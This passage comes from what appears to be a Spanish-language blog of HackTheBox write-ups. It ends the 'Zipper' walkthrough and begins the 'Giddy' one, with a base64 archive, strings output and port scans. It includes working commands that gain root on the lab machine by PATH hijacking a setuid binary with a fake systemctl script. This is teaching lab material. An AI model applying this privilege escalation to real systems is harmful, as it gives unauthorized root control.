</span></span><span style="display:flex;"><span>e9/wKpICPjLoZlvojtZNj3ggM3U4jgciH0jSXvJ1BKCu6kEShyIGEIBBsrsc2TUG5qFM6Iv7Sutw
</span></span><span style="display:flex;"><span>JZ9aT/xj3yZRiTNEJYZfpPZxYI4+sOIj73zgbucbG7ZnZzkbQoZjBKB7UcX97W5ENgxdXmj9lFRI
</span></span><span style="display:flex;"><span>Dr23Ka1ORqmeAOgCO3iP4EUKZwV99zaBrWhnZuUIEcPGTQLoTKA0N81XF4uFedxgJKW2n5R2csMp
</span></span><span style="display:flex;"><span>be4262q/wi4E3bK6YwtJSv9pvr7Xgw+dIrPnxqkV402fTxnr/y7ocQYFNA3JrNNt6GJDiE944CRt
</span></span><span style="display:flex;"><span>shtMO9JcPF9TtwlCT2NQj10TkLuSiJDSxF2gRDX4JeyKrvEZnW7QV/FNcDMYsRbSTxgjMQYQYD63
</span></span><span style="display:flex;"><span>XDHKEfgeKQG+9XcFRwY/TSsctB+aXmOiAQssR88bIlSvI2Rp5OZfZ4Koj40EZvEkoIF4QzpIQy8i
</span></span><span style="display:flex;"><span>dTW+R0tUF83qttJrZPeT58RP9iILmDIUjJFdPPCA8f7D5RNyy35OLU5Rx/ssDX6c8fUIKTEvFvFq
</span></span><span style="display:flex;"><span>5E/7bfXkdpEHe/o2RUUX6k3MbtCFSdttZXSlPx/DsTtG5pAUfaurEQAUFPgKdzAVl/SQ5ghMidZy
</span></span><span style="display:flex;"><span>zoilPkuf+urkeoR+mtZuGUpKC8vGYOpZmYvpmSCN46zvnm35NLP2xQexdvHofWIdnKaAxVizLPcj
</span></span><span style="display:flex;"><span>qcIISpQ997Gg7J1AUpYq3wK9i5787hMQwY28WBpMPgbEoJa0GS2m2CGu8OPuIkq5l7CLQ8uplLY1
</span></span><span style="display:flex;"><span>a3dafUchcQgmpHswidJSgurKyren76WiOGyK82lIQVyzwJo6mHWeIwtyfBpIuMXsal0L0QjDyXDE
</span></span><span style="display:flex;"><span>3UpQJKQUM8HaHRZaZkDjQ2SELYXw69G0aUyI5aVh1q35+e3mQK9suJShNsbKoeFiAP4pgKV6cA/v
</span></span><span style="display:flex;"><span>7G4+eRXSAryJsJOLB2RA37McRB0lMzcA2S4T7xc2wOThgXzBOb0o8ZfNsX9vTZBylHb4sdszwr8t
</span></span><span style="display:flex;"><span>IMDb885Dhwtqnc+xglXSnmzhRJ2KwxO6SqPczpc3Z0nzuid/EN7p0jZAU+EgEBqOsouRz/CxXb0k
</span></span><span style="display:flex;"><span>b/crWaPn4bvP3hjx6WKN9iC3LOPkQuzAAKwdhE6TxUHP1bDO/p6MHxg8HFD9AA5kif2/56PzCCIf
</span></span><span style="display:flex;"><span>APsy6D+Fxc6FiHPYJYvfTNtBLltrPuYai622R2O13UE+M5707Xh5lfhx6mXSURyL5L3I6u4orrdd
</span></span><span style="display:flex;"><span>FQ8nVEhskffj+jpEJuHtJ/kRwUisQprHCDsSYOxk+YZSqmSSVUNUORTNDppuXIQp3fhI3Hot6kfO
</span></span><span style="display:flex;"><span>dw5mSOyzNutMwBafeai/ox17EL+LWW1Hv9W0k1vieqbf5ewXTYbepbwaisW+XdkxjxUg3YbZ2TZC
</span></span><span style="display:flex;"><span>ND6y0iQKRbLFHzf7CGfEk39KC5ACE0mciReB7gAOHB3dYof7g+wsc0mm7TJLkhDaoKolfJVEVixj
</span></span><span style="display:flex;"><span>N6mga+xQFsA3wT+KeXfOTlPbOGNnSdEg2oWbngxG62DXQnO/cHGAPIgcVQs3FOFD72jLtk2nSewb
</span></span><span style="display:flex;"><span>23BHSDv7BdMi+mSljC8rekAxeqWi0+F+osdtXj6mErbbz9AQfHm00HZDu1lZDXAJEJjCt+JLBnM+
</span></span><span style="display:flex;"><span>RhLDyCz5An5DNSkZlpnP7paANwygNZw5BK5633C7ttuM1auNPU3LaXMN1COnYc8MTFBtqZwCmSnP
</span></span><span style="display:flex;"><span>11inlzuJpRZo/7i3dp44s9vqNQpe6l5gDCMRGN0Pe7NPWNf/LUoofDt5Xj04YhqpUBXeL61JYa8i
</span></span><span style="display:flex;"><span>QLruTHOaM4cuNacozifqodomMyNqWjwV9IDyYIPyRwJ8LqVvz+JeqeWWJnkF30OIpeZxfFoxVYef
</span></span><span style="display:flex;"><span>Y5yzDX+9H6wLblG+2NWLszRFERgz1tJAEDwOVJpV5YOsOoeyMz/2GL1ODP73uYy0epFYQXxCVPJY
</span></span><span style="display:flex;"><span>/SugEK4g+o0z1FypqvMp6o5kmm8Lty9i9ZnGgIj57F0HzWGIRktucefXu05qU4GpPa7y6mDH74yx
</span></span><span style="display:flex;"><span>156pVP/yDFLtohBuEkHFegW2cErb5Qa8PS1nbcUdsSclnZ+qP/7OfC3wfdtqBxHUboM1ra07sYts
</span></span><span style="display:flex;"><span>ykedDJI2UeHvlzvU7ZQPfx9E1JKkO4SAuIqcx8p+7r/pD6xtO+CaNz+OsuHiHF2+2UNbw7i7iccv
</span></span><span style="display:flex;"><span>ctrdEqXo00pzaFvylDANrrLQY5I2ZCeK22ut3cJQSM7qAdzBc+eK+VT5Ycwk/BCy8ihWZw9mz18y
</span></span><span style="display:flex;"><span>rkMQUEd0+kJkl+9NQh7sSZrIqCnccrGrSPwyqJHNnIWf4Ue8E0kbBph5rVOmEoO9Etvzr7m9uov/
</span></span><span style="display:flex;"><span>a02y7tTjKjJEsS0xtaTf44tk/VRQW5qA6vvd6kO/uQfoIxyV3UGadzORY4AsuBqqX6FiOjDENy5N
</span></span><span style="display:flex;"><span>rfLSF8gl3AXgwWYQvETSvS6JdGlpy+SFPUf95d9AAb2ukd2GllP7r1fqL05/MqGhX2V2Z+bcwvdV
</span></span><span style="display:flex;"><span>wLL85kM9BQjuAto9g6xcB7PhkqylYToXthBNr03su4LzK/QDNGHiAVXYF3AsyjOTnKVbcmzQMUn8
</span></span><span style="display:flex;"><span>FCAYREz2c4ERwmRQQ/1FhVhajTpJxwhdB3dtx71Q/OBvCOB45kBvFn8O1YQB0J1i6oLFs9JS0mU6
</span></span><span style="display:flex;"><span>c4xoE1Bi3r9h7QZ7ZrKGdA+rAyCydqrctpaXZ7C7ouTk+fRd7z9BFE7i13nKwbE3KLA7Z1KFRvFp
</span></span><span style="display:flex;"><span>FXtst6jLS6QCJoUxM6Ee2qIA7TY7NHs3hYr1T92JEfTgh7t4ilXxh5GjZJOxbp6v7upBbYaUXHzQ
</span></span><span style="display:flex;"><span>cOQt398vshbybgZ3sp8nEGwTLhIhM9DAgaZyzY4YBVIB9TNdvLeH1cCWpGDiCnhw0SKrryLGxr75
</span></span><span style="display:flex;"><span>9CvXZUkKIEW+sRcnCWnWIFSxDvQjDSYd+SHfiE3I2eMs3npOZp7N/+xKw/KQX084iJQSrNsp+tlj
</span></span><span style="display:flex;"><span>ECBs5jayxk1Eeggyws1kcacc2PgS4qA/HwhasecTFVtnhg42JrJKWjiQlHJrILCRHgxHwCI7oh2J
</span></span><span style="display:flex;"><span>JhY2dHlB6+rb2wUodDpw3cTCMZau9PEMnkx6F4XlY7cT3HEE+r12NWr8w26KpqU6pfXgonyHW3FF
</span></span><span style="display:flex;"><span>yNuv4LC6jRzuGMLGF0j3It4fLXCGptK+2mv5I8zv1IL8p0zK+D2xCG+zGly3ot7jEyRMIQ9DZh2P
</span></span><span style="display:flex;"><span>VEOTfH3w1GqKNTrFjo9d//JMfOxRvit84j4sI1TMSKIu1ansv613w27v6tvnATUTjffqP3vgiZKR
</span></span><span style="display:flex;"><span>EA8lbgtpBOhUUOCQWGDNfUbcz5BHERl+6Zju8V3vJqIp9VVQg1HHDO6MBU0K9RE2yI0IHKx+bbda
</span></span><span style="display:flex;"><span>rZbmoeuLZVtW6iT1yuR+jQgaY/mcS7DYNMG+DPVhgAvr1EBLwJw5X4cvtmNyrbB0XwEplLyCak5y
</span></span><span style="display:flex;"><span>WdC8KxgweaYScMUWuF22DRk0IsqXFUJ5ExHg4ZMnAOGNKtcTuQr6hMObf0yPlaD9z59wuguHQLVv
</span></span><span style="display:flex;"><span>gAel/Q8kfAAAgTMHrjGe3F2c5Rb9lxG/8bFhhv+xauz/DEQ0rc64ggDFkIgBhBA/jw07F9TRBd8g
</span></span><span style="display:flex;"><span>W3lxgsoDYcvkcUA1KrlCvaqzSDarZmXV+dGu2l/3gwnlT94HlRzhuGzjjGL+vTHcngYKp3Nofg/g
</span></span><span style="display:flex;"><span>df770LfNCAPP+YtF5M6SOABqQlJi4nCkZ2s6jD47FoM7BjVtangm4ENKDG4VY6Vv2yxOCmlYJaIi
</span></span><span style="display:flex;"><span>mFAAAAAXBorQAQmAqQAHCwEAASMDAQEFXQAQAAAMgMYKAYhZ9rAAAA==
</span></span></code></pre></div><p>Creamos el archivo zapper_backup-2019-01-10.7z.b64 con el contenido anterior y decodeamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper$ base64 -d zapper_backup-2019-01-10.7z.b64 &gt; zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper$ 7z x -ozapper20190110 -pZippityDoDah zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz (40651),ASM,AES-NI)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 3004 bytes (3 KiB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extracting archive: zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = zapper_backup-2019-01-10.7z
</span></span><span style="display:flex;"><span>Type = 7z
</span></span><span style="display:flex;"><span>Physical Size = 3004
</span></span><span style="display:flex;"><span>Headers Size = 236
</span></span><span style="display:flex;"><span>Method = LZMA2:13 BCJ 7zAES
</span></span><span style="display:flex;"><span>Solid = -
</span></span><span style="display:flex;"><span>Blocks = 2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Files: 2
</span></span><span style="display:flex;"><span>Size:       7750
</span></span><span style="display:flex;"><span>Compressed: 3004
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper$ cd zapper20190110/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper/zapper20190110$ ls
</span></span><span style="display:flex;"><span>backup.sh  zabbix-service
</span></span></code></pre></div><p>Veamos vía strings el contenido de zabbix-service:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tdx
</span></span><span style="display:flex;"><span>/lib/ld-linux.so.2
</span></span><span style="display:flex;"><span>libc.so.6
</span></span><span style="display:flex;"><span>_IO_stdin_used
</span></span><span style="display:flex;"><span>setuid
</span></span><span style="display:flex;"><span>puts
</span></span><span style="display:flex;"><span>stdin
</span></span><span style="display:flex;"><span>printf
</span></span><span style="display:flex;"><span>fgets
</span></span><span style="display:flex;"><span>strcspn
</span></span><span style="display:flex;"><span>system
</span></span><span style="display:flex;"><span>__cxa_finalize
</span></span><span style="display:flex;"><span>setgid
</span></span><span style="display:flex;"><span>strcmp
</span></span><span style="display:flex;"><span>__libc_start_main
</span></span><span style="display:flex;"><span>__stack_chk_fail
</span></span><span style="display:flex;"><span>GLIBC_2.1.3
</span></span><span style="display:flex;"><span>GLIBC_2.4
</span></span><span style="display:flex;"><span>GLIBC_2.0
</span></span><span style="display:flex;"><span>_ITM_deregisterTMCloneTable
</span></span><span style="display:flex;"><span>__gmon_start__
</span></span><span style="display:flex;"><span>_ITM_registerTMCloneTable
</span></span><span style="display:flex;"><span>Y[^]
</span></span><span style="display:flex;"><span>UWVS
</span></span><span style="display:flex;"><span>[^_]
</span></span><span style="display:flex;"><span>start or stop?:
</span></span><span style="display:flex;"><span>start
</span></span><span style="display:flex;"><span>systemctl daemon-reload &amp;&amp; systemctl start zabbix-agent
</span></span><span style="display:flex;"><span>stop
</span></span><span style="display:flex;"><span>systemctl stop zabbix-agent
</span></span><span style="display:flex;"><span>[!] ERROR: Unrecognized Option
</span></span><span style="display:flex;"><span>;*2$&#34;
</span></span><span style="display:flex;"><span>GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0
</span></span><span style="display:flex;"><span>crtstuff.c
</span></span><span style="display:flex;"><span>deregister_tm_clones
</span></span><span style="display:flex;"><span>__do_global_dtors_aux
</span></span><span style="display:flex;"><span>completed.7281
</span></span><span style="display:flex;"><span>__do_global_dtors_aux_fini_array_entry
</span></span><span style="display:flex;"><span>frame_dummy
</span></span><span style="display:flex;"><span>__frame_dummy_init_array_entry
</span></span><span style="display:flex;"><span>zabbix-service.c
</span></span><span style="display:flex;"><span>__FRAME_END__
</span></span><span style="display:flex;"><span>__init_array_end
</span></span><span style="display:flex;"><span>_DYNAMIC
</span></span><span style="display:flex;"><span>__init_array_start
</span></span><span style="display:flex;"><span>__GNU_EH_FRAME_HDR
</span></span><span style="display:flex;"><span>_GLOBAL_OFFSET_TABLE_
</span></span><span style="display:flex;"><span>__libc_csu_fini
</span></span><span style="display:flex;"><span>strcmp@@GLIBC_2.0
</span></span><span style="display:flex;"><span>_ITM_deregisterTMCloneTable
</span></span><span style="display:flex;"><span>__x86.get_pc_thunk.bx
</span></span><span style="display:flex;"><span>printf@@GLIBC_2.0
</span></span><span style="display:flex;"><span>strcspn@@GLIBC_2.0
</span></span><span style="display:flex;"><span>fgets@@GLIBC_2.0
</span></span><span style="display:flex;"><span>_edata
</span></span><span style="display:flex;"><span>__stack_chk_fail@@GLIBC_2.4
</span></span><span style="display:flex;"><span>__x86.get_pc_thunk.dx
</span></span><span style="display:flex;"><span>__cxa_finalize@@GLIBC_2.1.3
</span></span><span style="display:flex;"><span>__data_start
</span></span><span style="display:flex;"><span>setgid@@GLIBC_2.0
</span></span><span style="display:flex;"><span>puts@@GLIBC_2.0
</span></span><span style="display:flex;"><span>system@@GLIBC_2.0
</span></span><span style="display:flex;"><span>__gmon_start__
</span></span><span style="display:flex;"><span>__dso_handle
</span></span><span style="display:flex;"><span>_IO_stdin_used
</span></span><span style="display:flex;"><span>__libc_start_main@@GLIBC_2.0
</span></span><span style="display:flex;"><span>__libc_csu_init
</span></span><span style="display:flex;"><span>stdin@@GLIBC_2.0
</span></span><span style="display:flex;"><span>_fp_hw
</span></span><span style="display:flex;"><span>__bss_start
</span></span><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>setuid@@GLIBC_2.0
</span></span><span style="display:flex;"><span>__stack_chk_fail_local
</span></span><span style="display:flex;"><span>__TMC_END__
</span></span><span style="display:flex;"><span>_ITM_registerTMCloneTable
</span></span><span style="display:flex;"><span>.symtab
</span></span><span style="display:flex;"><span>.strtab
</span></span><span style="display:flex;"><span>.shstrtab
</span></span><span style="display:flex;"><span>.interp
</span></span><span style="display:flex;"><span>.note.ABI-tag
</span></span><span style="display:flex;"><span>.note.gnu.build-id
</span></span><span style="display:flex;"><span>.gnu.hash
</span></span><span style="display:flex;"><span>.dynsym
</span></span><span style="display:flex;"><span>.dynstr
</span></span><span style="display:flex;"><span>.gnu.version
</span></span><span style="display:flex;"><span>.gnu.version_r
</span></span><span style="display:flex;"><span>.rel.dyn
</span></span><span style="display:flex;"><span>.rel.plt
</span></span><span style="display:flex;"><span>.init
</span></span><span style="display:flex;"><span>.plt.got
</span></span><span style="display:flex;"><span>.text
</span></span><span style="display:flex;"><span>.fini
</span></span><span style="display:flex;"><span>.rodata
</span></span><span style="display:flex;"><span>.eh_frame_hdr
</span></span><span style="display:flex;"><span>.eh_frame
</span></span><span style="display:flex;"><span>.init_array
</span></span><span style="display:flex;"><span>.fini_array
</span></span><span style="display:flex;"><span>.dynamic
</span></span><span style="display:flex;"><span>.data
</span></span><span style="display:flex;"><span>.bss
</span></span><span style="display:flex;"><span>.comment
</span></span></code></pre></div><p>Importante, vemos declarada la función setuid(), vemos que hay llamadas a system(), inclusive se distinguen comandos de systemctl. Si reverseamos un poco el binario, veremos que se hace setuid(0), lo cual es consistente con los bits que tiene el binario <code>-rwsr-sr-x</code> de root:root.</p>
<p>Al ejecutarlo veremos que falla en nuestra shell, por lo que hacemos un upgrade a bash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ cd /home/zapper/utils
</span></span><span style="display:flex;"><span>$ ./zabbix-service
</span></span><span style="display:flex;"><span>start or stop?: [!] ERROR: Unrecognized Option
</span></span><span style="display:flex;"><span>$ printf &#34;start\n&#34; | ./zabbix-service
</span></span><span style="display:flex;"><span>start or stop?: $ id
</span></span><span style="display:flex;"><span>uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
</span></span><span style="display:flex;"><span>$ printf &#34;start&#34; | ./zabbix-service
</span></span><span style="display:flex;"><span>start or stop?: $
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>$ python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>zabbix@zipper:/home/zapper/utils$ ./zabbix-service
</span></span><span style="display:flex;"><span>./zabbix-service
</span></span><span style="display:flex;"><span>start or stop?: start
</span></span><span style="display:flex;"><span>start
</span></span><span style="display:flex;"><span>zabbix@zipper:/home/zapper/utils$
</span></span></code></pre></div><p>Ya que tenemos un mejor control sobre los pipes, podemos realizar una escalación de privilegios porque los comandos ejecutados desde el binario zabbix-service confían en la variable PATH, por lo que cambiando la variable PATH y suplantando el binario systemctl por cualquier cosa, podemos ejecutar cualquier cosa como root (gracias setuid 0). En este caso lo sustituimos por un script de bash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>zabbix@zipper:/home/zapper/utils$ printf &#39;#!/bin/bash\n\n/bin/bash -i&#39; &gt; /tmp/systemctl
</span></span><span style="display:flex;"><span>&lt;intf &#39;#!/bin/bash\n\n/bin/bash -i&#39; &gt; /tmp/systemctl
</span></span><span style="display:flex;"><span>zabbix@zipper:/home/zapper/utils$ chmod +x /tmp/systemctl
</span></span><span style="display:flex;"><span>chmod +x /tmp/systemctl
</span></span><span style="display:flex;"><span>zabbix@zipper:/home/zapper/utils$ PATH=&#34;/tmp:$PATH&#34; ./zabbix-service
</span></span><span style="display:flex;"><span>PATH=&#34;/tmp:$PATH&#34; ./zabbix-service
</span></span><span style="display:flex;"><span>start or stop?: start
</span></span><span style="display:flex;"><span>start
</span></span><span style="display:flex;"><span>root@zipper:/home/zapper/utils# id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) groups=0(root),113(zabbix)
</span></span></code></pre></div><h1 id="cat-roottxt-and-usertxt">cat root.txt and user.txt</h1>
<p>&hellip; We got root flag and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Giddy</title><link>https://www.xbyte.mx/posts/htb_writeup_-_giddy/</link><pubDate>Sat, 16 Feb 2019 08:47:00 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_giddy/</guid><description>&lt;p&gt;Me gustan estas maquinas, porque no sabes nunca lo que podrás aprender o con cuantas paredes te vas a topar. Aprendí sobre como pasar la hash desde mssql, como ejecutar remotamente powershell y finalmente que a veces es mas fácil compilar y ejecutar que esperar soluciones mágicas.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Me gustan estas maquinas, porque no sabes nunca lo que podrás aprender o con cuantas paredes te vas a topar. Aprendí sobre como pasar la hash desde mssql, como ejecutar remotamente powershell y finalmente que a veces es mas fácil compilar y ejecutar que esperar soluciones mágicas.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Giddy</td>
          <td>lkys37en</td>
          <td>Windows</td>
          <td>10.10.10.104</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-giddy/cardinfo.png" alt="Card Info"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Comenzamos por realizar un escaneo de puertos usando nuestra herramienta nmap, pero luego vemos que tardaría bastante porque empezó a tener muchos drops:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- -n --open -v 10.10.10.104
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 08:55 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 08:55
</span></span><span style="display:flex;"><span>Scanning 10.10.10.104 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 08:55, 0.44s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 08:55
</span></span><span style="display:flex;"><span>Scanning 10.10.10.104 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 3389/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 2.51% done; ETC: 09:15 (0:20:05 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 3.89% done; ETC: 09:21 (0:25:08 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 6.19% done; ETC: 09:19 (0:22:59 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 8.71% done; ETC: 09:21 (0:24:17 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.104 from 0 to 5 due to 40 out of 133 dropped probes since last increase.
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.104 from 5 to 10 due to 11 out of 22 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 8.90% done; ETC: 09:26 (0:28:50 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.104 from 10 to 20 due to 11 out of 23 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 9.28% done; ETC: 09:30 (0:32:25 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.104 from 20 to 40 due to 11 out of 22 dropped probes since last increase.
</span></span></code></pre></div><p>Logramos identificar al menos tres puertos. Realicemos el escaneo ahora con masscan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.104
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-15 03:07:13 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 5985/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>Discovered open port 3389/tcp on 10.10.10.104
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.104
</span></span></code></pre></div><p>Como podemos ver, tenemos abiertos los mismos puertos que nmap descubrió más uno nuevo, 5995/tcp. Continuemos con la enumeración de servicios.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos un nmap ahora con destino a los 4 puertos descubiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p80,443,3389,5985 -A -T4 10.10.10.104
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-14 21:48 CST
</span></span><span style="display:flex;"><span>Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
</span></span><span style="display:flex;"><span>Traceroute Timing: About 32.26% done; ETC: 21:49 (0:00:00 remaining)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.104
</span></span><span style="display:flex;"><span>Host is up (0.20s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE       VERSION
</span></span><span style="display:flex;"><span>80/tcp   open  http          Microsoft IIS httpd 10.0
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>|_http-title: IIS Windows Server
</span></span><span style="display:flex;"><span>443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/10.0
</span></span><span style="display:flex;"><span>|_http-title: IIS Windows Server
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
</span></span><span style="display:flex;"><span>| Not valid before: 2018-06-16T21:28:55
</span></span><span style="display:flex;"><span>|_Not valid after:  2018-09-14T21:28:55
</span></span><span style="display:flex;"><span>|_ssl-date: 2019-02-15T03:49:08+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>| tls-alpn:
</span></span><span style="display:flex;"><span>|   h2
</span></span><span style="display:flex;"><span>|_  http/1.1
</span></span><span style="display:flex;"><span>3389/tcp open  ms-wbt-server Microsoft Terminal Services
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=Giddy
</span></span><span style="display:flex;"><span>| Not valid before: 2019-02-14T01:47:31
</span></span><span style="display:flex;"><span>|_Not valid after:  2019-08-16T01:47:31
</span></span><span style="display:flex;"><span>|_ssl-date: 2019-02-15T03:49:07+00:00; 0s from scanner time.
</span></span><span style="display:flex;"><span>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-HTTPAPI/2.0
</span></span><span style="display:flex;"><span>|_http-title: Not Found
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
</span></span><span style="display:flex;"><span>Device type: general purpose
</span></span><span style="display:flex;"><span>Running (JUST GUESSING): Microsoft Windows 2016|10 (90%)
</span></span><span style="display:flex;"><span>OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10:1607
</span></span><span style="display:flex;"><span>Aggressive OS guesses: Microsoft Windows Server 2016 (90%), Microsoft Windows 10 1607 (85%)
</span></span><span style="display:flex;"><span>No exact OS matches for host (test conditions non-ideal).
</span></span><span style="display:flex;"><span>Network Distance: 2 hops
</span></span><span style="display:flex;"><span>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE (using port 443/tcp)
</span></span><span style="display:flex;"><span>HOP RTT       ADDRESS
</span></span><span style="display:flex;"><span>1   200.40 ms 10.10.12.1
</span></span><span style="display:flex;"><span>2   201.47 ms 10.10.10.104
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 37.76 seconds
</span></span></code></pre></div><p>Resaltan dos cosas; la primera el commonName del cert de https PowerShellWebAccessTestWebSite y el nombre de la maquina Giddy.</p>
<p>Continuemos por analizar el servicio HTTP y HTTPS.</p>
<h1 id="httpie">httpie</h1>
<p>Comenzamos por realizar una petición http al servidor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/giddy$ http 10.10.10.104
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Content-Length: 700
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Sat, 15 Feb 2019 15:06:19 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;d07343e3466d41:0&#34;
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 17 Jun 2018 14:24:23 GMT
</span></span><span style="display:flex;"><span>Server: Microsoft-IIS/10.0
